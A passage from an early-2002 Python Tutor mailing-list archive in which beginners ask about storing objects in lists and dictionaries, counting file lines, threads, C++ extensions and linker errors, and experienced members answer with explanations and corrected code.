good help may be to contact the SWIG folks here:

    http://mailman.cs.uchicago.edu/mailman/listinfo/swig


Anyway, sorry for the grumpy reply earlier; I reacted badly when I saw so
many attachments, and I apologize for that.



From virketis@fas.harvard.edu  Sun Feb  3 21:46:38 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Sun, 3 Feb 2002 16:46:38 -0500
Subject: [Tutor] Instantiating large numbers of objects?
Message-ID: <006501c1acfc$42008170$18adf78c@virketis2>

Britt,
 
> I seem to recall being told once that in C or Java one would create an
>array or Vector of objects. I was thinking I would do the same thing
> with my Rooms, except Python doesn't have arrays or Vectors.
 
 I believe that the Python list data structure
(http://www.python.org/doc/current/tut/node5.html) can be used analogously
to arrays in C(a vector, at least in math, is a n-by-1 array, and a list is
good here too). Did you consider them? Is there some reason they would be
inadequate?
 
Cheers,
 
Pijus
 



From rkashyap@sympatico.ca  Sun Feb  3 21:47:10 2002
From: rkashyap@sympatico.ca (Ramkumar Kashyap)
Date: Sun, 03 Feb 2002 16:47:10 -0500
Subject: [Tutor] Re:Newbie
Message-ID: <3C5DAFDE.1080603@sympatico.ca>

Hi!

I have just started programming and am using the "How to think like a 
Computer Scientist: using Python" which is available for free on the 
internet, just like Python.  It is written for high school students to 
learn programming and is extremely easy reading. The fundamentals are 
explained in great detail as compared to Learning Python, which assumes 
some level of programming knowledge.

I also find going through the tutorials provided with Python and reading 
the online manuals also helps quite a bit, though may confuse you at times.

regards,

Kumar



From dyoo@hkn.eecs.berkeley.edu  Sun Feb  3 22:03:20 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 3 Feb 2002 14:03:20 -0800 (PST)
Subject: [Tutor] Instantiating large numbers of objects?      [lists and
 dictionaries]
In-Reply-To: <20020203212534.27753.qmail@web14102.mail.yahoo.com>
Message-ID: <Pine.LNX.4.21.0202031346520.21803-100000@hkn.eecs.berkeley.edu>

On Sun, 3 Feb 2002, Britt Green wrote:
> If you had three accounts, you'd create three instances in your code:
> 
> bob = new Account()
> sue = new Accout()
> jim = new Account()
> 
> and then you'd call the class methods like so:
> 
> bob.makeWithdrawl(500)
> sue.checkBalance()
> jim.makeDeposit(200)
> 
> So far this is the only way I know of to instantiate classes.
> Obviously when a bank uses this software, they wouldn't open up the
> code to add new accounts. How would they create new instances of the
> Account class? I seem to recall being told once that in C or Java one
> would create an array or Vector of objects. I was thinking I would do
> the same thing with my Rooms, except Python doesn't have arrays or
> Vectors.


Although Python doesn't have arrays or Vectors, it does have a similar
container class: Python has the 'list' type.  Here's an example:


###
>>> class Person:
...     def __init__(self, name):
...         self.name = name
...     def sing(self):
...         print "tra la la, my name is", self.name
...
>>> names = ['bart', 'lisa', 'marge', 'homer']
>>> people = []
>>> for n in names:
...     people.append(Person(n))
...
>>> people
[<__main__.Person instance at 80a2b28>, <__main__.Person instance at
80d3498>, <
__main__.Person instance at 80d34d0>, <__main__.Person instance at
80d3540>]
###


In this example, we assign 'people' initially to the empty list, '[]'.  
If we're given some list of names, we can easily create instances for each
name, and add them to our list.  By using a list, we avoid hardcoding the
number of people our program can deal with.

The append() method on Python lists is equivalent to the "push_back()"
method in C++ vectors.  Once we have this list of people, we can pick any
one of them by index:


###
>>> people[0].sing()
tra la la, my name is bart
###


But people often don't like to be labeled with numbers.  It might be nicer
to be able to say something like:

    people['bart'].sing()

That is, it might be nice to use the person's name to pull them from our
list container.  In that case, we can use a more appropriate data
structure, the dictionary:

###
>>> people_dict = {}
>>> for n in names:
...     people_dict[n] = Person(n)
...
>>> people_dict['lisa'].sing()
tra la la, my name is lisa
###


A Python dictionary is equivalent to Java's concept of a 'Map'.  What's
nice about Python's dictionary is that it uses very similar syntax to that
of arrays --- this emphasizes the idea that Lists and Dictionaries
implement the same idea of a container.

Also, both of these data types are considered "primitive" in Python, which
makes them very convenient to work with.  Take a look at:

    http://www.python.org/doc/tut/node5.html#SECTION005140000000000000000

for an example of List usage.  I think you'll find that Python lists are
pretty darn casual compared to a C++ array.  *grin*


For information on Python dictionaries, see:

    http://www.python.org/doc/tut/node7.html#SECTION007400000000000000000


There's a lot of good information on these data types in almost every
Python tutorial:

    http://python.org/doc/Intros.html

and please feel free to ask questions about them; lists and dictionaries
are fun to talk about.  *grin*



> I apologize if I'm not explaning myself clearly. This is still pretty
> new to me and I'm not 100% sure how to phrase my question.

Don't worry: your question makes perfect sense.  I hope this answer
somewhat reciprocates that.  Good luck to you!



From beazley@cs.uchicago.edu  Sun Feb  3 22:03:20 2002
From: beazley@cs.uchicago.edu (David Beazley)
Date: Sun, 3 Feb 2002 16:03:20 -0600 (CST)
Subject: [Swig] Re: [Tutor] C++ Extension Problems
In-Reply-To: <Pine.LNX.4.21.0202031331110.21803-100000@hkn.eecs.berkeley.edu>
References: <3C5D5117.2000708@gmx.de>
 <Pine.LNX.4.21.0202031331110.21803-100000@hkn.eecs.berkeley.edu>
Message-ID: <15453.45992.651223.614500@gargoyle.cs.uchicago.edu>

Danny Yoo writes:
 > 
 > 
 > Also, I don't know if SWIG is guaranteed to work perfectly with C++ code;
 > you may want to try the Boost Python libraries instead:
 > 
 >     http://www.boost.org/libs/python/doc
 > 
 > Boost Python is designed to make it easy to interface with C++, so it
 > might fit better with your simulated annealing code.

Just for future reference, SWIG works perfectly fine with most C++
code.  This is especially true for the SWIG-1.3.x series which can
handle overloading, operators, templates, and a variety of other C++
features.  There are a few things that Boost does differently which
might be better suited to certain applications.  However, SWIG-C++
support is by no means crippled.

However, I concur that this problem sounds like less of a SWIG issue
and more of an environment problem (Python path, linking, compilation,
whatever).  Not sure exactly.

Cheers,

Dave


From urnerk@qwest.net  Sun Feb  3 22:12:06 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Sun, 03 Feb 2002 14:12:06 -0800
Subject: [Tutor] Instantiating large numbers of objects?
In-Reply-To: <20020203212534.27753.qmail@web14102.mail.yahoo.com>
References: <4.2.0.58.20020202182403.00ca3bb0@pop3.norton.antivirus>
Message-ID: <4.2.0.58.20020203135909.00d35dc0@pop3.norton.antivirus>

>
>So far this is the only way I know of to instantiate classes.
>Obviously when a bank uses this software, they wouldn't open
>up the code to add new accounts. How would they create new
>instances of the Account class? I seem to recall being told
>once that in C or Java one would create an array or Vector of
>objects. I was thinking I would do the same thing with my
>Rooms, except Python doesn't have arrays or Vectors.

Lists are pretty much the same thing.  You access a list's
elements by number, same as an array, starting from 0.  But
it seems sort of arbitrary to use numbers if you also have
names handy.  A dictionary lets you add an arbitrary number
of objects and retrieve them by name, vs. number.  Since
order doesn't matter (why should the kitchen be a lower
number than the bathroom), you've got another point in
favor of using a dictionary.

But didn't you post this question earlier, and get a number
of responses e.g. from Lloyd Kvam, Karthik Gurumurthy, and
myself?  Here's an excerpt from an earlier reply:

   params = [ ("great hall","where trolls live",3),
             ("dungeon","not a fun place",0),
             ("tower room","where she sleeps",1)]

   listofRooms = []

   for p in params:  listofRooms.append(apply(Rooms,p))

Again, if you want to create a number of objects in a list,
you can do it like this:

      listofrooms = []  # empty list
      for r in ["kitchen","hallway"...]:
         listofrooms.append(Room(r))

As was shown earlier, if your constructor expects three
variables, and you have 3-tuples or 3-argument lists, you
can use apply(function,tuple) for class definitions as
well.  apply gets around have to do something like:
function(mytuple[0],mytuple[1],mytuple[2]) -- you just
go apply(function,mytuple) instead.

      listofrooms = []
      rooms = [('kitchen','place to eat',2),('hallway','long',3)...]
      for r in rooms:
           listofrooms.append(apply(Room,r))

The dictionary option is similar:

      dictofrooms = {}
      rooms = [('kitchen','place to eat',2),('hallway','long',3)...]
      for r in rooms:
           dictofrooms[r[0]] = apply(Room,r)

something like that.

The end result is you have a bunch of room objects stored
in either a list or dictionary (= Java hashtable).


>I apologize if I'm not explaning myself clearly. This is
>still pretty new to me and I'm not 100% sure how to phrase my
>question. Hopefully the readers of this list are smart enough
>to figure out what I'm saying though! ;)
>
>Britt

It's not that you're unclear, it's just that you asked before,
and people answered, so I was assuming you were after some
different kind of information.

Kirby



From urnerk@qwest.net  Sun Feb  3 22:16:40 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Sun, 03 Feb 2002 14:16:40 -0800
Subject: [Tutor] (no subject)
In-Reply-To: <OE45sgMKQyyi5fpmsKD00013112@hotmail.com>
Message-ID: <4.2.0.58.20020203141506.019f8200@pop3.norton.antivirus>

At 03:22 PM 2/3/2002 -0500, Daniel McCauley wrote:


>Daniel McCaulley
>United States, FL
>E-mail: <mailto:djm_gohan@hotmail.com>djm_gohan@hotmail.com
>I really just want to know how to become a game hacker

Is that someone who writes computer games, or someone
who cracks copy protection on games written by others?
The word "hacker" is broken, when it comes to telling
these apart.

Kirby



From dyoo@hkn.eecs.berkeley.edu  Sun Feb  3 22:14:03 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 3 Feb 2002 14:14:03 -0800 (PST)
Subject: [Tutor] Re:Newbie
In-Reply-To: <3C5DAFDE.1080603@sympatico.ca>
Message-ID: <Pine.LNX.4.21.0202031409100.21803-100000@hkn.eecs.berkeley.edu>

On Sun, 3 Feb 2002, Ramkumar Kashyap wrote:

> I have just started programming and am using the "How to think like a
> Computer Scientist: using Python" which is available for free on the
> internet, just like Python.

Here's the link to "How To Think Like a Computer Scientist":

    http://www.ibiblio.org/obp/thinkCSpy/


But you don't have to use thinkCSpy if it seems too formal --- there's
also a bunch of Python tutorials here:

    http://python.org/doc/Newbies.html



> I also find going through the tutorials provided with Python and
> reading the online manuals also helps quite a bit, though may confuse
> you at times.

And when the manuals get confusing, please feel free to ask questions on
Tutor; that's what we're here for.

Anyway, hope this helps you!



From grimmtoothtoo@yahoo.com  Sun Feb  3 22:23:01 2002
From: grimmtoothtoo@yahoo.com (Grimmtooth)
Date: Sun, 3 Feb 2002 17:23:01 -0500
Subject: [Tutor] Newbie question
In-Reply-To: <3C5DAE34.7040607@sympatico.ca>
Message-ID: <MJEAIKAGJPJJPKLJPPOPCEIBCBAA.grimmtoothtoo@yahoo.com>

> I am trying to open a txt file and count the number of lines. I am
> trying to figure out if I need to use fileinput and lines() or will the
> readlines() also give me the count.

If you load the file into an array of one line per array member, you can
then arrive at the number of lines by using the len() function.  For
example:

And it so happens that the array you get from readlines() *is* one line per
member. Just use len() on the array you read into and you'll know.

One of the more endearing features of the language :-)



_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com



From m_konermann@gmx.de  Sun Feb  3 22:25:33 2002
From: m_konermann@gmx.de (Keule)
Date: Sun, 03 Feb 2002 23:25:33 +0100
Subject: [Tutor] Sorry for Posting large Attachment !
Message-ID: <3C5DB8DD.4000308@gmx.de>

Hi !

i get a lot of answers and see, that it was´nt a good idea to post my 
files with my email. sorry, i´m not so familiar in using mailinglists.
i follow the advice of Danny Yoo and installed an ftp server with the 
following account for everyone who want to help me:

keule.myftpsite.net
user : guest
pass: python
port: 21

so, excuse me please
and thanks a lot for all your help until now

greetings
Marcus





From cheshire_cat_sf@yahoo.com  Mon Feb  4 02:02:53 2002
From: cheshire_cat_sf@yahoo.com (Britt Green)
Date: Sun, 3 Feb 2002 18:02:53 -0800 (PST)
Subject: [Tutor] Instantiating large numbers of objects?      [lists and dictionaries]
In-Reply-To: <Pine.LNX.4.21.0202031346520.21803-100000@hkn.eecs.berkeley.edu>
Message-ID: <20020204020253.68655.qmail@web14102.mail.yahoo.com>

--- Danny Yoo <dyoo@hkn.eecs.berkeley.edu> wrote:
> Although Python doesn't have arrays or Vectors, it does have a
> similar
> container class: Python has the 'list' type.  Here's an example:

<rest of comments deleted>

Ah that's perfect. I had done something like this earlier but was
unable to call class methods. I see my mistake now. Thank to everyone
who helped me out! 

Britt

=====
"The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman."

__________________________________________________
Do You Yahoo!?
Great stuff seeking new owners in Yahoo! Auctions! 
http://auctions.yahoo.com


From rkashyap@sympatico.ca  Mon Feb  4 04:15:20 2002
From: rkashyap@sympatico.ca (Ramkumar Kashyap)
Date: Sun, 03 Feb 2002 23:15:20 -0500
Subject: [Tutor] What is missing?
Message-ID: <3C5E0AD8.6010302@sympatico.ca>

import os
import time

DIR = "D:\\dp_test"
for filename in os.listdir(DIR):
    full_path = os.path.join(DIR, filename)
    myFile = open(full_path, 'r')
    inFile = open('dp_hr.txt', 'w')
    count = len(myFile.readlines())
    print filename + ",", count     
    inFile.write(filename + ', ' + string(count))

Hi!
There are 325 files in the directory. The program works up until the 
print statement which displays all the 325 files with the corresponding 
lines contained in the respective files. The write statement only writes 
the last file and line_numbers for the last file. Should I put it in 
another loop?

regards,

Kumar



From paulsid@shaw.ca  Mon Feb  4 04:33:42 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Sun, 03 Feb 2002 21:33:42 -0700
Subject: [Tutor] What is missing?
References: <3C5E0AD8.6010302@sympatico.ca>
Message-ID: <3C5E0F26.323F27B7@shaw.ca>

Ramkumar Kashyap wrote:

>     inFile.write(filename + ', ' + string(count))

> There are 325 files in the directory. The program works up until the
> print statement which displays all the 325 files with the corresponding
> lines contained in the respective files. The write statement only writes
> the last file and line_numbers for the last file. Should I put it in
> another loop?

Heh, be careful when assuming things about your code.  The write
statement will in fact write 325 times, its just you only SEE the last
one because each time through the loop the call to open() inFile
obliterates the old file.

You can either move the infile = open... line outside the loop (on top),
open inFile in 'a' (append) mode, or form a new output filename for each
file.  My personal preference would be for the first option.

BTW two other comments:

1) Using 'inFile' for an output file is very confusing.

2) It's generally good practice to explicitly close files, even though
in Python you don't really have to.  Explicit closing helps document the
code and helps ensure that what you want to happen is indeed what is
happening.

Hope that helps.

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From cheshire_cat_sf@yahoo.com  Mon Feb  4 05:08:58 2002
From: cheshire_cat_sf@yahoo.com (Britt Green)
Date: Sun, 3 Feb 2002 21:08:58 -0800 (PST)
Subject: [Tutor] Instantiating large numbers of objects?      [lists and dictionaries]
In-Reply-To: <Pine.LNX.4.21.0202031346520.21803-100000@hkn.eecs.berkeley.edu>
Message-ID: <20020204050858.11725.qmail@web14108.mail.yahoo.com>

Hello,

After playing with this code, I've got a few questions I was hoping you
could help me out with.

--- Danny Yoo <dyoo@hkn.eecs.berkeley.edu> wrote:

<snip>

> ###
> >>> class Person:
> ...     def __init__(self, name):
> ...         self.name = name
> ...     def sing(self):
> ...         print "tra la la, my name is", self.name
> ...
> >>> names = ['bart', 'lisa', 'marge', 'homer']
> >>> people = []
> >>> for n in names:
> ...     people.append(Person(n))
> ...

 Just wondering how this last line works. I've only created instances
of a class by going:

>>>lisa = Person()

 Apparently when you're adding classes to a list, the syntax is
different? Do I understand this correctly?

 <snip>

> That is, it might be nice to use the person's name to pull them from
> our
> list container.  In that case, we can use a more appropriate data
> structure, the dictionary:
> 
> ###
> >>> people_dict = {}
> >>> for n in names:
> ...     people_dict[n] = Person(n)
> ...
> >>> people_dict['lisa'].sing()
> tra la la, my name is lisa
> ###

 Again, the syntax is a little different than what I'm used to. I've
always never seen a dictionary done like this. Is it a case where the
syntax is different since its being added to a list?

 Thanks!

 Britt

=====
"The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman."

__________________________________________________
Do You Yahoo!?
Great stuff seeking new owners in Yahoo! Auctions! 
http://auctions.yahoo.com


From lonetwin@yahoo.com  Mon Feb  4 05:38:07 2002
From: lonetwin@yahoo.com (lonetwin)
Date: Mon, 4 Feb 2002 11:08:07 +0530
Subject: [Tutor] [Q] about threads ...waiting :(
In-Reply-To: <Pine.LNX.4.30.0202021620350.5859-100000@mercury.worli>
References: <Pine.LNX.4.30.0202021620350.5859-100000@mercury.worli>
Message-ID: <02020411080702.06205@mercury.worli>

Hi All,
 ....ehe...I hate to do this, but since I did not get an answer I'm reposting 
this. If some thing of this sort is not possible, then could someone please 
suggest a workaround/hack ??

Thanx
Steve

On Saturday 02 February 2002 16:43, lonetwin wrote:
> Hi everybody,
>     I'm playing around with threads using python on linux. Everthing is
> working fine ...but (everything seems to have a "but" ...right ?? :)) I
> can't seem to print a nice message and end the application, if there
> is a KeyboardInterrupt generated.
>      As always I find saying things in code easier than expressing them
> in plain english, so here goes:
>
> within my main I have something like:
> =========================================
> for i in range(numThreads):
> 	TestThread = TestApp(var, SharedLock)
> 	ThreadList.append(TestThread)
>
> for TestThread in ThreadList:
> 	TestThread.start()
>
> while threading.activeCount() > 1:
> 	pass
>
> doCleanUp()
>
> =========================================
> ...and the class TestApp has something like:
> =========================================
> def run(self):
> 	self.lock.acquire()
> 	doStuff()
> 	self.lock.release()
> ==========================================
>     Now, if a KeyboardInterrupt exception is raised during the execution of
> doStuff(), how do I catch it, kill all the threads and exit the
> application, probably printing "Aieee ....I got killed" on the way ??
>
>    I tried placing try-except blocks at different places, but all I got
> done was exit the thread and print the message, somehow the other
> threads were quite comfortable with the fact that one of them is dead,
> they just go about their own business as though nothing has happened ...
>
> ......and like always, I'm going nuts, b'cos ...
> ...I just don't get it !!!!
>
> any help would be welcome,
>
> Peace
> Steve

-- 
America works less, when you say "Union Yes!"


From virketis@fas.harvard.edu  Mon Feb  4 05:39:32 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Mon, 4 Feb 2002 00:39:32 -0500
Subject: [Tutor] Instantiating large numbers of objects?      [lists and dictionaries]
References: <20020204050858.11725.qmail@web14108.mail.yahoo.com>
Message-ID: <008101c1ad3e$523a13c0$18adf78c@virketis2>

Britt,

> > >>> for n in names:
> > ...     people.append(Person(n))
> > ...
>
>  Just wondering how this last line works. I've only created instances
> of a class by going:

There are three quite distinct steps happening here:

1. Make a list of data to be used for creating the objects and call it
"names"; use a "for loop" (the bit of code above) to take each entry in the
names and put it into the variable "n".

2. Instantiate a "Person" with a name "n";

3. Store each class instance in the "people" list.

The list.append() syntax belongs to the last step and has nothing to do with
instantiating classes. In other words, the code above could be written more
explicity thus:

###
for name in names:
    new_person = Person(name)    #instantiate class
    people.append(new_person)    #append it to list
###

Notice that while I name each Person instance "new_person", I keep
overwritting it, because the people list is the thing that really lets me
keep the instances separate. I no longer need to say Bob = Person("Bob") and
John = Person("John"). I can just access them by calling people[0] and
people[1].

Cheers,

Pijus




From toodles@yifan.net  Mon Feb  4 05:49:06 2002
From: toodles@yifan.net (Andy W)
Date: Mon, 4 Feb 2002 13:49:06 +0800
Subject: [Tutor] Instantiating large numbers of objects?      [lists and dictionaries]
References: <20020204050858.11725.qmail@web14108.mail.yahoo.com>
Message-ID: <001701c1ad3f$aa736a40$3100a8c0@sun>

> > >>> names = ['bart', 'lisa', 'marge', 'homer']
> > >>> people = []
> > >>> for n in names:
> > ...     people.append(Person(n))
> > ...
>
>  Just wondering how this last line works. I've only created instances
> of a class by going:
>
> >>>lisa = Person()
>
>  Apparently when you're adding classes to a list, the syntax is
> different? Do I understand this correctly?

How do you mean?
The initialisation of an instance is the same in and out of lists, and also
the syntax used is the same for adding any type of item to a list.
ie. the_list.append(item)

Danny just skipped the step in which an instance is bound to a name (because
it's unnecessary), and added it straight into the list.
What I mean is, you could either do:

person=Person()
people.append(person)

or the way Danny did it:

people.append(Person())

Alternatively, if you will have your people "hard-coded", you might just
have a predefined list of people:
people=[Person("bart"), Person("lisa"), Person("marge"), Person("homer")]

(BTW, I'm not sure if that "name" argument passed to the Person class was
your idea or not to start with, Britt, but I just used it then to make it
more clear)

>
>  <snip>
>
> > That is, it might be nice to use the person's name to pull them from
> > our
> > list container.  In that case, we can use a more appropriate data
> > structure, the dictionary:
> >
> > ###
> > >>> people_dict = {}
> > >>> for n in names:
> > ...     people_dict[n] = Person(n)
> > ...
> > >>> people_dict['lisa'].sing()
> > tra la la, my name is lisa
> > ###
>
>  Again, the syntax is a little different than what I'm used to. I've
> always never seen a dictionary done like this. Is it a case where the
> syntax is different since its being added to a list?

How have you seen dictionaries used? Like following?
some_dictionary={"predefined_1":"ning","predefined_2":"nang","predefined_3":
"nong"}

Also, it's not being added to a list. The dictionary is being subscripted,
which accesses an existing key, or creates a new one if it doesn't exist.
This is useful (as others pointed out) because it can then be used to access
the Person(s) by "name". I'm not sure if that's helped at all now, because I
couldn't actually think of anything much new to say... oh well.

Andy W.

>
>  Thanks!
>
>  Britt
>
> =====
> "The ocean, she is strange and wondrous, filled with animals that disturb
even a Frenchman."
>
> __________________________________________________
> Do You Yahoo!?
> Great stuff seeking new owners in Yahoo! Auctions!
> http://auctions.yahoo.com
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From wolf_binary@hotmail.com  Mon Feb  4 05:56:15 2002
From: wolf_binary@hotmail.com (Cameron Stoner)
Date: Sun, 3 Feb 2002 23:56:15 -0600
Subject: [Tutor] modular programming
Message-ID: <DAV22WoBDyseVwrblZz0000f39d@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_000A_01C1AD0E.5DB25440
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I have a little bit of a confusion I need clearing up.

1.  How does Python do modules?
2.  How do you call or pass values to modules and then back again?

Cameron

------=_NextPart_000_000A_01C1AD0E.5DB25440
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I have a little bit of a confusion I =
need clearing=20
up.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>1.&nbsp; How does Python do =
modules?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>2.&nbsp; How do you call or pass values =
to modules=20
and then back again?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Cameron</FONT></DIV></BODY></HTML>

------=_NextPart_000_000A_01C1AD0E.5DB25440--


From jimmy_130@lycos.com  Mon Feb  4 00:43:59 2002
From: jimmy_130@lycos.com (James M Lang)
Date: Sun, 03 Feb 2002 19:43:59 -0500
Subject: [Tutor] How do I get Python on Mac?
Message-ID: <CBFBKLGGHECFOAAA@mailcity.com>

I've got an old Mac that I want to use. The problem is that it doesn't have internet access. MacPython is too big to be put on floppy disk so how can I split it up, put it on disks, and reassemble them on the Mac? And another thing, what is this "hacking" I keep hearing about?




From rick@niof.net  Mon Feb  4 04:33:01 2002
From: rick@niof.net (Rick Pasotto)
Date: Sun, 3 Feb 2002 23:33:01 -0500
Subject: [Tutor] What is missing?
In-Reply-To: <3C5E0AD8.6010302@sympatico.ca>
References: <3C5E0AD8.6010302@sympatico.ca>
Message-ID: <20020204043300.GA24064@tc.niof.net>

On Sun, Feb 03, 2002 at 11:15:20PM -0500, Ramkumar Kashyap wrote:
> 
> 
> import os
> import time
> 
> DIR = "D:\\dp_test"
> for filename in os.listdir(DIR):
>    full_path = os.path.join(DIR, filename)
>    myFile = open(full_path, 'r')
>    inFile = open('dp_hr.txt', 'w')
>    count = len(myFile.readlines())
>    print filename + ",", count     
>    inFile.write(filename + ', ' + string(count))
> 
> Hi!
> There are 325 files in the directory. The program works up until the 
> print statement which displays all the 325 files with the corresponding 
> lines contained in the respective files. The write statement only writes 
> the last file and line_numbers for the last file. Should I put it in 
> another loop?

Every time through the loop you re-open (thus truncating) inFile. Just
move that line above the loop and all will be well.

-- 
Within the limits of equity, everything is to be accomplished
through the free and perfectible initiative of man; nothing is to
be achieved by law or by force save universal justice.
	-- Frédéric Bastiat (1801-1850)
    Rick Pasotto    rickp@telocity.com    http://www.niof.net


From lonetwin@yahoo.com  Mon Feb  4 08:15:50 2002
From: lonetwin@yahoo.com (lonetwin)
Date: Mon, 4 Feb 2002 13:45:50 +0530
Subject: [Tutor] [Q] about threads ...waiting :(
In-Reply-To: <NEBBJNMDEKBIBCMCNMBDCEFMDAAA.karthikg@aztec.soft.net>
References: <NEBBJNMDEKBIBCMCNMBDCEFMDAAA.karthikg@aztec.soft.net>
Message-ID: <02020413455001.07178@mercury.worli>

Hi Karthik,
     Thanx for replying :).

    That's a nice idea, of setting a flag....and I feel so dumb now, for not 
thinking it up myself !!!! *<:) ....your solution should do the trick,
I'll need to fix-up the locking problem but that shouldn't give me any 
trouble...(I hope !! :)) ...anyways, in case it does, I know who to ask :).

Thanx once again,
big help

Ta
Peace
Steve

-- 
To accuse others for one's own misfortunes is a sign of want of education.
To accuse oneself shows that one's education has begun.  To accuse neither
oneself nor others shows that one's education is complete.
		-- Epictetus


From m_konermann@gmx.de  Mon Feb  4 08:51:48 2002
From: m_konermann@gmx.de (Keule)
Date: Mon, 04 Feb 2002 09:51:48 +0100
Subject: [Tutor] Linking against python21_d.lib instead of python21.lib
Message-ID: <3C5E4BA4.9050800@gmx.de>

--------------010507080501080404050608
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

Hi !

i get the following error from VC++ :

Linker-Vorgang läuft...
LINK : fatal error LNK1104: Datei "python21_d.lib" kann nicht geoeffnet 
werden
Fehler beim Ausführen von link.exe.

examplec.dll - 1 Fehler, 0 Warnung(en)

so it seems, that VC++ tries to link the python21_d.lib file instead of 
the python21.lib file.
i thought, that i already deactivated all debug informations in the 
compiler.
Have anyone got an idea, where i can find these option ?

Thanks a lot
Marcus

--------------010507080501080404050608
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html>
<head>
</head>
<body>
Hi !<br>
<br>
i get the following error from VC++ :<br>
<br>
<i>Linker-Vorgang l&auml;uft...<br>
LINK : fatal error LNK1104: Datei "python21_d.lib" kann nicht geoeffnet werden<br>
Fehler beim Ausf&uuml;hren von link.exe.<br>
<br>
examplec.dll - 1 Fehler, 0 Warnung(en)</i><br>
<br>
so it seems, that VC++ tries to link the python21_d.lib file instead of the
python21.lib file. <br>
i thought, that i already deactivated all debug informations in the compiler.<br>
Have anyone got an idea, where i can find these option ?<br>
<br>
Thanks a lot<br>
Marcus<br>
</body>
</html>

--------------010507080501080404050608--



From lha2@columbia.edu  Mon Feb  4 10:56:53 2002
From: lha2@columbia.edu (Lloyd Hugh Allen)
Date: Mon, 04 Feb 2002 05:56:53 -0500
Subject: [Tutor] help?
References: <Pine.GSO.4.10.10202031430000.3918-100000@isis.visi.com>
Message-ID: <3C5E68F5.56470B5A@mail.verizon.net>

Tim Wilson wrote:
> end = raw_input("Press a key to end...")
> 
> This will leave the window open until you press a key.

In particular, the return key.

Also, you spell "temperature" differently in the two places the word
occurs. That will give you some sort of NameError or something.


From python.tutorial@jarava.org  Mon Feb  4 11:05:39 2002
From: python.tutorial@jarava.org (Javier JJ)
Date: Mon, 4 Feb 2002 12:05:39 +0100
Subject: RV: RE: [Tutor] help?
Message-ID: <008201c1ad6b$e238be40$931304d5@uno>

Let's see if this time, it "catches on" the list :)

    Javier
----- Mensaje original -----
De: "Javier JJ" <python.tutorial@NO_SPAM_E.jarava.org>
Para: <tutor@python.org>
Enviado: domingo, 03 de febrero de 2002 21:09
Asunto: RE: [Tutor] help?


> The "problem" is not that DOS closes, but that the program finishes. It
> _does_ print the answer you want and, having finished the program, it
exits.
> Then windows (I guess you're usign windows :) closes the program window -
so
> it looks like DOS closing.
>
> It'd be easier if you first, open a DOS window, and then you run the
program
> from that window. In that way, once the program it's finished, the window
> will remain open, and you'll be able to see the results...
>
> Hope that helps..
>
>     Javier
>
> PS: In any case, it helps when you ask a question to tell a little about
the
> system you're using (operating system, etc :)
>
> JJ
>
>
> ----- Mensaje original -----
> De: Callum Golding
> Para: tutor@python.org
> Enviado: domingo, 03 de febrero de 2002 14:31
> Asunto: [Tutor] help?
>
>
> I'm sorry to bother you, but i was wondering if you could give me a little
> advice. I've recently downloaded Python 2.2. Ive read a begginers guide to
> programming and tried creating a small program, I used the input function.
> Now as soon as I open the program it goes into dos and asks me the
question,
> and when i type in an anwser, dos shuts down. Now its really starting to
bug
> me. If you could give me some advice I would be real grateful. The program
I
> wrote is below; -
>
>
> tempetature = input("What is the temperature of the spam?")
>
> if temperature > 50:
>     print "The salad is properly cooked"
> else:
>     print "Cook the salad some more"
>
>     Mat.G
>
>         Cheers
>




From mikalzet@libero.it  Mon Feb  4 11:26:08 2002
From: mikalzet@libero.it (mikalzet@libero.it)
Date: Mon, 4 Feb 2002 12:26:08 +0100 (CET)
Subject: [Tutor] PyGreSQL problem
In-Reply-To: <3C5C2AD9.3010509@venix.com>
Message-ID: <Pine.LNX.4.33L2.0202041225370.2383-100000@localhost.localdomain>

On Sat, 2 Feb 2002, Lloyd Kvam wrote:

> My best guess is the Lemburg mxDateTime module.
> http://www.lemburg.com/files/python/mxDateTime.html
> mxDateTime - Date/time types for Python
>
> The mx doesn't appear in your Python code. simply import DateTime
> and you are in business.  This is a very comprehensive module.

Thank you ! That worked.

-- 
Michele Alzetta



From grimmtoothtoo@yahoo.com  Mon Feb  4 13:37:27 2002
From: grimmtoothtoo@yahoo.com (Grimmtooth)
Date: Mon, 4 Feb 2002 08:37:27 -0500
Subject: [Tutor] What is missing?
In-Reply-To: <3C5E0AD8.6010302@sympatico.ca>
Message-ID: <MJEAIKAGJPJJPKLJPPOPCEIGCBAA.grimmtoothtoo@yahoo.com>

> DIR = "D:\\dp_test"
> for filename in os.listdir(DIR):
>     full_path = os.path.join(DIR, filename)
>     myFile = open(full_path, 'r')
>     inFile = open('dp_hr.txt', 'w')
>     count = len(myFile.readlines())
>     print filename + ",", count     
>     inFile.write(filename + ', ' + string(count))

Where are you closing the files?

